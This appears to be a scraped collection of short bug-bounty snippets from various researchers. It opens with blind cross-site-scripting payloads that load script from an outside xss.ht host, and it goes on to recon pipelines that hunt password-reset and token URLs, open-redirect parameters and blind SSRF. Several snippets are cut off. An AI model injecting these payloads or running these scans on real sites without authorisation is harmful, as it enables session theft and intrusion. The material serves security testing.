Huntinex

"><script src=https://username.xss.ht></script>
'><script src=https://username.xss.ht></script>
";eval('var a=document.createElement(\'script\');a.src=\'https://username.xss.ht\';document.body.appendChild(a)')

R0X4R

subfinder -d target.com -all -silent -t 10 | naabu -p "21,22,80,81,280,300,443,583,591,593,832,981,1010,1099,1311,2082,2087,2095,2096,2480,3000,3128,3333,4243,4444,4445,4567,4711,4712,4993,5000,5104,5108,5280,5281,5601,5800,6543,7000,7001,7002,7396,7474,8000,8001,8008,8009,8014,8042,8060,8069,8080,8081,8083,8088,8090,8091,8095,8118,8123,8172,8181,8222,8243,8280,8281,8333,8337,8443,8500,8530,8531,8834,8880,8887,8888,8983,9000,9001,9043,9060,9080,9090,9091,9092,9200,9443,9502,9800,9981,10000,10250,10443,11371,12043,12046,12443,15672,16080,17778,18091,18092,20720,28017,32000,55440,55672" -silent -nc | httprobe -prefer-https | xargs -P 10 -I @ bash -c "echo @ | gau" 2> /dev/null | grep -E "password|password\-reset|reset\-token|token\=" | anew -q urls.txt
xargs -a urls.txt -P 5 -I @ bash -c "curl -ks -L \"@\" -H \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.77 Safari/537.36\" | grep -iE \"enter password|new password|new\-password|confirm password|co

bendtheory

import xml.etree.ElementTree as ET
import urllib
import base64
import math
import sys
import re

# usage: Open Burp, navigate to proxy history, ctrl-a to select all records, right click and "Save Items" as an .xml file. 
# python burplist.py burprequests.xml
# output is saved to wordlist.txt

PatrikFehrenbach

# Copyright 2017-2020 Jeff Foley. All rights reserved.
# Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

# Should results only be collected passively and without DNS resolution? Not recommended.
#mode = passive
mode = active

# The directory that stores the Cayley graph database and other output files
# The default for Linux systems is: $HOME/.config/amass
#output_directory = amass

aufzayed

#!/usr/bin/env python3
import re, sys, json


# usage: dorg.py subdomains_list.txt domain_name
# python3 dorg.py example_com_subs.txt example.com

file_path = sys.argv[1]
domain = sys.argv[2]
pattern = '[a-zA-Z0-9\-]+\.' + domain.replace('.', '\.')

gh0sh

#!/usr/bin/env bash
#
# Requirements
# - Golang (for complete bug bounty tools, clone this https://github.com/x1mdev/ReconPi)
# - gau (go get -u github.com/lc/gau)
# - gf (go get -u github.com/tomnomnom/gf)
# - Gf-Patterns (https://github.com/1ndianl33t/Gf-Patterns) - Read the README.md for how to copy json file to ~/.gf/

cd ~/.gf
ls *.json > ~/patterns

imran-parray

import re
import sys


urls=[]
try:
	file_name=sys.argv[1]
	replacement=sys.argv[2]
except:
	print("[!] Enter urls file name")

cihanmehmet

⏳🔺33 Million Subdomain Wordlist🔻🧱🔨👀

https://mega.nz/file/UsJXzITR#TMIFTXnW1zABHfZUIKMPMvA-c8UvzGWeAd4mg4gGCtQ

cmd@fb:/tmp|❯ wc -l 33m-subdomain-wordlist.txt
 33927885 33m-subdomain-wordlist.txt

---

🚨🔺15 Million Subdomain Wordlist🔻 🧱🔨👀

https://mega.nz/file/BtIh2KaZ#zI1aZgAdHYdBfvKC5G8bwXwfFG11Gx0CW1zLhc0weC8

hussein98d

echo "Blind SSRF testing - append to parameters and add new parameters @hussein98d"
echo "Usage: bash script.sh domain.com http://server-callbak"
echo "This script uses https://github.com/ffuf/ffuf, https://github.com/lc/gau, https://github.com/tomnomnom/waybackurls"
if [ -z "$1" ]; then
  echo >&2 "ERROR: Domain not set"
  exit 2
fi
if [ -z "$2" ]; then
  echo >&2 "ERROR: Sever link not set"
  exit 2

geekyrajnish

redUrl() {  gau -subs $1 | grep "redirect" >> $1_redirectall.txt |  gau -subs $1 | grep "redirect=" >> $1_redirectequal.txt |  gau -subs $1 | grep "url" >> $1_urlall.txt |  gau -subs $1 | grep "url=" >> $1_urlequal.txt |  gau -subs $1 | grep "next=" >> $1_next.txt |  gau -subs $1 | grep "dest=" >> $1_dest.txt |  gau -subs $1 | grep "destination" >> $1_destination.txt |  gau -subs $1 | grep "return" >> $1_return.txt |  gau -subs $1 | grep "go=" >> $1_go.txt |  gau -subs $1 | grep "redirect_uri" >> $1_redirecturi.txt |  gau -subs $1 | grep "continue=" >> $1_continue.txt |  gau -subs $1 | grep "return_path=" >> $1_path.txt |  gau -subs $1 | grep "externalLink=" >> $1_link.txt |  gau -subs $1 | grep "URL=" >> $1_URL.txt 
}